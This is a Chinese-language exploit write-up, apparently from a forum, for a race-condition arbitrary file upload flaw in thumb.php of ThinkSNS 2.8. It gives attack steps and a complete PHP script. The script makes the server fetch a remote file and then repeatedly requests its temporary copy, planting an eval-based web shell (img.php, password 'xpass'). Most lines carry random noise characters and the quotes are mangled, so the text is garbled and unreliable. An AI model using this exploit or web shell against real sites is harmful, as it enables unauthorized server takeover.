漏洞版本
% d# c5 I3 r4 g) }" _存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
1 {, @' y* j7 i. z5 T3 ?( b- H( H* P/ Q漏洞文件
1 F2 Y% E3 a/ d9 z7 C存在漏洞的文件为:thumb.php
' Q( z4 b" v7 J w: Z作者:韦鲲鹏 `1 `3 P% _' u8 f+ z+ i4 d
1、 准备如下PHP文件并上传到服务器(自己的)。
% e, [# M |- V2 H9 A# r# h& |- k6 }文件内容如下:* y( {5 [( @' n* N6 _/ L! G
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
8 Z/ p) f9 h: ` k, O8 m% F0 I* L2、 计算出临时的文件名:
2 N; I- H3 s& O这里我们可以看文件的99行(刚刚是不是没注意呀!)。* q. n# L3 ~" F5 e- P% [
8 A4 R4 E0 X: n* ~4 T% W3 c3、 上传临时文件。 e; Q) f N5 U, l7 b: Y1 u
4、 访问临时文件。
/ s+ ]5 \5 E+ S但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
- p, m$ t: D" O. @4 @" I) lExploit文件内容如下:(这个我就不详细解释了)
7 s, E1 W; `; |<?php
+ H% {( s! t: C: k+ l3 i, M6 w5 u9 Zerror_reporting(0);
4 f9 s+ {6 @1 G/ }0 |* g" Rset_time_limit(0);
! ], _3 {( d1 v& @' Yini_set(“default_socket_timeout”, 5);/ P% o. Q# ]/ p
function http_send($host, $port, $headers) {* b3 G. A+ C# c
$fp = fsockopen($host, $port);
) b) f# K$ C' M# @if (!$fp) die(‘Connection -> fail’);$ N5 i5 n r6 ?
fputs($fp, $headers);
* k4 O7 D: D6 \) h R' M# areturn $fp;
5 O+ O7 q5 ]/ l% B+ F}
9 x2 I' r1 @: t) Afunction http_recv($fp) {
" {/ |9 l/ v' h3 w/ C; U. t$ret=”";
6 z0 x2 _4 o/ r% i# h3 awhile (!feof($fp)); ?9 r- Y3 f, z" {. T2 n' s
$ret.= fgets($fp, 1024);. f X0 a0 |( j9 f! K8 H# D
fclose($fp);
6 S& F$ y8 x O# B! [$ E9 W3 Kreturn $ret;
( G2 R2 {; P. J! }" ^}
: D! J2 z$ I' f& Xprint “\n# ThinkSns Arbitrary File Upload #\n”;) f/ l: G& L% G0 t) l6 Q, U
print “# Discovered by 韦鲲鹏 #\n\n”;7 m! m/ q) h3 {- ?: v( [+ `! T7 u
if ($argc < 4) {" ]9 l2 T3 l5 v+ H8 I
print “Usage: php <host> <path> <romote_url>\n”;+ G N# P' ^2 R) D
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;0 l/ W( N' h6 \$ U# p7 P5 ]
die();" `& `/ q' z: H3 c+ ]
}& Y0 N" N* P4 C5 X3 F
$host = $argv[1];& e* }, l8 y1 f' |' x3 }( _
$path = $argv[2];
! v. N% v4 p% g: G4 D5 W$url = $argv[3];
: l |: s9 n- M- b$i=0;9 M' n. M% N' W, u0 i3 j! @- y6 }8 ?
//上传数据包
2 `0 Y8 F$ y+ J# E' A1 p6 k$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;2 D9 l, Z( u3 K6 \! ?
$headers_up .= “Host: “.$host.”\r\n”;3 c9 t# I6 M3 U. V" f
$headers_up .= “Connection: close\r\n\r\n”;
) C# e* ~0 A# b8 pecho $headers_up;
$ m& J" b3 E7 Z l, Z# E+ n& E//临时文件访问数据包
( K" G1 e6 X2 V2 M$ A$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
5 d) t$ E8 m+ N$ P% L5 y$headers .= “Host: “.$host.”\r\n”;% V% p- q6 f- n
$headers .= “Connection: close\r\n\r\n”;& }/ n) d8 n) a k- B7 j5 S' i
echo $headers;# D, N" g0 g5 `# k# ?3 s
while(++$i<10) {8 [# S+ c/ n4 O# K! y1 b; V u
fclose(http_send($host, 80, $headers));% s7 x0 x3 ~! ?! M
}- b; F+ c1 j4 C4 R
fclose(http_send($host, 80, $headers_up));
/ P. v4 y# ]3 n Bwhile(++$i<50) {" }1 X1 c/ l% f+ u ?! E) l' c
fclose(http_send($host, 80, $headers));7 g! l [8 p3 E( L& X( z+ G
}
1 y+ o9 e% |7 ~, K/ \8 `$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
' O# f: r& k& V4 Y6 ^$headers .= “Host: “.$host.”\r\n”;/ i: w9 C) `$ a! ?1 f
$headers .= “Connection: close\r\n\r\n”;, ], b+ m+ V( i) p g2 r
$res=http_recv(http_send($host, 80, $headers));3 L. Q) `2 I9 s/ d4 x% C
if(preg_match(‘/200 OK/’,$res)) {8 C6 z5 E& o/ M; X$ }9 i3 `" T" u8 [" j
print “Success!\n\n”;8 s" e5 x+ d: Z! ^( i$ \5 X6 \
} else {( s4 D1 P/ v9 r# V
print “Fail!\n\n”;
& V2 d. {2 o& v) r2 z}" `& Y& k* ^) z7 o+ l
?>
, ?$ ^: ?# {) W' N- H- Q1 C |